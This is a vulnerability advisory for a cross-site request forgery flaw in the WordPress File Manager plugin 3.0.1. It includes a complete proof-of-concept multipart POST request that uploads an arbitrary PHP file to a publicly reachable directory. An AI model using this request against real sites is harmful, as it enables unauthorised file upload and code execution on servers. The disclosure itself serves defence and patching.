WordPress File Manager 3.0.1 Cross Site Request Forgery

WordPress File Manager plugin version 3.0.1 suffers from a cross site request forgery vulnerability.


MD5 | d87f4917ea0d48259f68aa2bea6722d8

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Cross-Site Request Forgery in File Manager WordPress plugin
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David Vaartjes, July 2016

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Abstract
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A Cross-Site Request Forgery (CSRF) vulnerability was found in the File
Manager WordPress Plugin. Among others, this issue can be used to upload
arbitrary PHP files to the server.

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OVE ID
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OVE-20160712-0029

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Tested versions
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This issue was succesfully tested on the File Manager WordPress Plugin
version 3.0.1.

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Fix
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There is currently no fix available.

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Details
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https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_in_file_manager_wordpress_plugin.html

The upload form used by the plugin has no protection against CSRF attacks. As a result an attacker can for example upload arbitrary PHP files to the server.

Please note that the target user needs to be logged in.

Proof of concept

The target parameter holds a Base64-encoded destination path. By using the proof of concept request below a file named info.php is uploaded to the /wp-content/uploads/file-manager/ directory.

When uploaded, this file can be requested from the outside as follows:
http://<wp-server>/wp-content/uploads/file-manager/info.php

Request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: <wp-server>
Cookie: ALL_YOUR_WP_COOKIES
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------6427194103423794601262893907

-----------------------------6427194103423794601262893907
Content-Disposition: form-data; name="cmd"

upload
-----------------------------6427194103423794601262893907
Content-Disposition: form-data; name="target"

l1_d3AtY29udGVudC91cGxvYWRzL2ZpbGUtbWFuYWdlcg
-----------------------------6427194103423794601262893907
Content-Disposition: form-data; name="suffix"

~
-----------------------------6427194103423794601262893907
Content-Disposition: form-data; name="action"

connector
-----------------------------6427194103423794601262893907
Content-Disposition: form-data; name="upload[]"; filename="info.php"
Content-Type: text/php

<?php
phpinfo();
?>
-----------------------------6427194103423794601262893907--

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